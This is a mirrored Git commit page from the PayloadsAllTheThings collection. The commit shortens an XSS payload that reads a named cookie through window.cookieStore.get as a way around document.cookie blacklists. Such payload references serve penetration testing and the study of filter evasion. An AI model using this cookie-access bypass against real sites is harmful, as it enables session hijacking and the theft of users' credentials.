mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-18 17:28:49 +00:00
Shortened payload
Shortened the document.cookie blacklist bypass payload.
This commit is contained in:
parent
5d561ea7d6
commit
f23f28c4e2
@ -780,7 +780,7 @@ window["doc"+"ument"]
|
||||
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
|
||||
|
||||
```
|
||||
const cookiePromise=Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
```
|
||||
|
||||
### Bypass using javascript inside a string
|
||||
|
Loading…
Reference in New Issue
Block a user